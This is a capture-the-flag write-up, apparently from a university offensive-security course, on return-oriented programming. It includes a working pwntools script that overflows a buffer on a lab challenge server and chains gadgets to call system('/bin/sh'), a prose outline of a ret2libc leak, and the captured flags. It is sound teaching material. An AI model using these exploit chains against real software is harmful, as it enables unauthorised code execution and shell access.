wk7 - ROP

Theme: ROP gadgets, chains (200/300)

Tools

  • ROPgadgetarrow-up-right (CLI tool)

    • ROPgadget --binary ./baby_rop --dump | grep "pop rdi"

    • ROPgadget --binary ./baby_rop --dump | grep "pop rsi"

    • ROPgadget --binary ./baby_rop --dump | grep "pop rdx"

Baby ROP (50)

Solve

Use readelf -h ./baby_rop to see that this is a no-PIE binary. On Binja, we see that system is listed as a function. We can directly call system using its address, provided it's already been called so that its .got entry is populated. gets() is called within main which is an opportunity for clobbering the return address to lead to our ROP chain.

Our ROP chain will consist of a pop rdi, ret gadget, followed by the address of the "/bin/sh" string. The string is already provided in the binary in an existing string - we'll just take the binsh part of it. Combined, these two will place the address of the binsh string into rdi, readying for the syscall. Next, a ret instruction is included to align the stack pointer. Lastly, We place the address of system so that it's called.

Because ROP and ELF didn't work on my vm due to insufficient memory, I found gadgets using ROPgadget --binary ./baby_rop --dump | grep "pop rdi" as an example.

Script

from pwn import *
context.log_level = "DEBUG"
context.terminal = ["tmux", "splitw", "-f", "-h"]
context.arch = "amd64"

#e = context.binary = ELF('./baby_rop')
#r = ROP(e)

p = remote("offsec-chalbroker.osiris.cyber.nyu.edu", 1201)
p.recvuntil("abc123): ".encode())
p.sendline("[ID]".encode())  # enter your Net ID

# `pop rdi; ret`: pop top item from stack, store into rdi; then pop off stack again and put into rip
pop_rdi_gadget = 0x40119e # use ROPgadget on the binary, grep "pop rdi"

binsh_str = 0x402026 # take binsh part of the string 'echo like /bin/sh"'
sys_call = 0x401070 # find on Binja
ret = 0x40117e # look on Binja disassembly. find a ret 
# ^ single ret is for stack alignment

payload = b"A"*0x18 + p64(pop_rdi_gadget) + p64(binsh_str) + p64(ret) +  p64(sys_call)
p.recvuntil(b"> ")
p.sendline(payload)

p.interactive()
chevron-rightFlaghashtag

flag{4ll_g4dg3ts_1nclud3d!_11625f09a6c8338d}

Classic ROP (150)

Solve

This binary is no-PIE. In main(), they first prompt user for an input specifying the max size of buf. We want to enter something larger than 0x48 bytes so we can overflow the return addr. I chose to enter 1000.

Strategy is to run main() twice. In the first time, we will overflow buffer to a ROP chain which will leak the address of a glibc function. I chose to leak puts. Then we will take that leaked address and calculate the glibc base address, from which we can calculate the absolute addresses of "/bin/sh" string and system function. In the first ROP chain, we will end the chain by redirecting to main(). In the second run of main(), we will still send in 1000 as the max buffer length. Then, we send over our ROP chain which will put the address of binsh string into rdi, and proceed to call system. Below is the script written to do the above.

Script

chevron-rightFlaghashtag

flag{th4t_w4s_r0pp1ng_b3f0r3_gl1bc_2.34!_16eb91ffa0e7988d}

Last updated